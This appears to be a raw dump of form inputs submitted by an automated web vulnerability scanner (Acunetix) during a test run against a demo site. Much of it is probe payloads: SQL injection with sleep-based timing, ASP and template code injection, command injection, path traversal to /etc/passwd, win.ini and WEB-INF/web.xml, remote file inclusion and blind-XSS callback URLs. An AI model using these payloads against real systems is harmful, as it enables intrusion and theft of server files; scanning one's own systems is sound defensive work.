1

4111111111111111

1

response.write(9958650*9125337)

1

SomeCustomInjectedHeader:injected_by_wvs

1

'+response.write(9958650*9125337)+'

1

SomeCustomInjectedHeader:injected_by_wvs

1

"+response.write(9958650*9125337)+"

1

SomeCustomInjectedHeader:injected_by_wvs

1

${99286+100433}

1

set|set&set

${99165+100031}

4111111111111111

1

12345'"'")

1

'set|set&set'

1

"set|set&set"

1

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

1

set|set&set

1

1some_inexistent_file_with_long_name.jpg

1

`set|set&set`

1

Http://testasp.vulnweb.com/t/fit.txt

SomeCustomInjectedHeader:injected_by_wvs

4111111111111111

1

4111111111111111

response.write(9653102*9248128)

4111111111111111

1

http://testasp.vulnweb.com/t/fit.txt?.jpg

SomeCustomInjectedHeader:injected_by_wvs

4111111111111111

'+response.write(9653102*9248128)+'

4111111111111111

1

testasp.vulnweb.com

SomeCustomInjectedHeader:injected_by_wvs

4111111111111111

"+response.write(9653102*9248128)+"

4111111111111111

12345'"'")

4111111111111111

1

4111111111111111

1

4111111111111111

1

4111111111111111

1

4111111111111111

1

)

1

4111111111111111

1

'"()

1

4111111111111111

http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg

4111111111111111

1

rg2s3KpT

1

!(()&&!|*|*|

set|set&set

4111111111111111

1

4111111111111111

1some_inexistent_file_with_long_name.jpg

4111111111111111

1

4111111111111111

1

-1 OR 2+733-733-1=0+0+0+1 --

'set|set&set'

4111111111111111

1

^(#$!@#$)(()))******

Http://testasp.vulnweb.com/t/fit.txt

4111111111111111

1

-1 OR 2+719-719-1=0+0+0+1

1

4111111111111111

"set|set&set"

4111111111111111

http://testasp.vulnweb.com/t/fit.txt?.jpg

4111111111111111

1

-1' OR 2+687-687-1=0+0+0+1 --

1

4111111111111111

set|set&set

4111111111111111

testasp.vulnweb.com

4111111111111111

1

-1" OR 2+87-87-1=0+0+0+1 --

1

4111111111111111

`set|set&set`

4111111111111111

1

if(now()=sysdate(),sleep(12),0)/*'XOR(if(now()=sysdate(),sleep(12),0))OR'"XOR(if(now()=sysdate(),sleep(12),0))OR"*/

'"()

4111111111111111

1

http://testasp.vulnweb.com/t/xss.html?%00.jpg

1

(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/

1

../../../../../../../../../../etc/passwd

1

-1

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

1

-1)

1

../../../../../../../../../../etc/passwd.jpg

)

4111111111111111

http://testasp.vulnweb.com/t/xss.html?%00.jpg

4111111111111111

1

-1))

1

Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vZXRjL3Bhc3N3ZAAucG5n

1

..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd%00.jpg

!(()&&!|*|*|

4111111111111111

1

zqKcLPPy'

1

'

1

/../..//../..//../..//../..//../..//etc/passwd.jpg

1

redacta.pl

^(#$!@#$)(()))******

4111111111111111

1

"

1

iWMpnq0l')

1

.\./.\./.\./.\./.\./.\./etc/passwd

1

redacta.pl

1

4111111111111111

1

4111111111111111

1

${@print(md5(acunetix_wvs_security_test))}

1

OF8yXiZG'))

1

/etc/passwd

1

redacta.pl/.

1

4111111111111111

1

../..//../..//../..//../..//../..//../..//../..//../..//etc/passwd

1

-1

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././etc/passwd

1

-1)

1

http://hitI8Leyindg6.bxss.me/

1

..À¯..À¯..À¯..À¯..À¯..À¯..À¯..À¯etc/passwd

1

-1))

1

invalid../../../../../../../../../../etc/passwd/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././.

1

k19l1PTu'

1

file:///etc/passwd

1

AIxGcCxH')

1

/../../../../../../../etc/passwd

http://hitlylUkaf1ih.bxss.me/

4111111111111111

1

4111111111111111

1

NWcSMvX0'))

1

WEB-INF/web.xml

redacta.pl

4111111111111111

1

WEB-INFweb.xml

1

4111111111111111

1

4111111111111111

redacta.pl

4111111111111111

1

../../../../../../../../../../windows/win.ini

1

4111111111111111

1

4111111111111111

1

../../../../../../../../../../boot.ini

redacta.pl/.

4111111111111111

1

4111111111111111

1

4111111111111111

1

4111111111111111

1

../../../../../../../../../../windows/win.ini.jpg

1

4111111111111111

1

1'"

1

À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯À®À®À¯windowsÀ¯win.ini

1

4111111111111111

1

................windowswin.ini

1

4111111111111111

1

1Àxa7À¢

1

................windowswin.ini

'

4111111111111111

1

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

1

4111111111111111

1

@@pWZfR

1

/.\./.\./.\./.\./.\./.\./windows/win.ini

1

www.acunetix.com

"

4111111111111111

1

JyI=

1

../..//../..//../..//../..//../..//../..//../..//../..//windows/win.ini

1

4111111111111111

1

¿'¿"

${@print(md5(acunetix_wvs_security_test))}

4111111111111111

1

../.../.././../.../.././../.../.././../.../.././../.../.././../.../.././windows/win.ini

1

4111111111111111

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

4111111111111111

1

ð''ð""

1

4111111111111111

www.acunetix.com

4111111111111111

1

(select convert(int,CHAR(65)))

1

WEB-INF/web.xml?

1

'"

1

4111111111111111

1

WEB-INFweb.xml?

1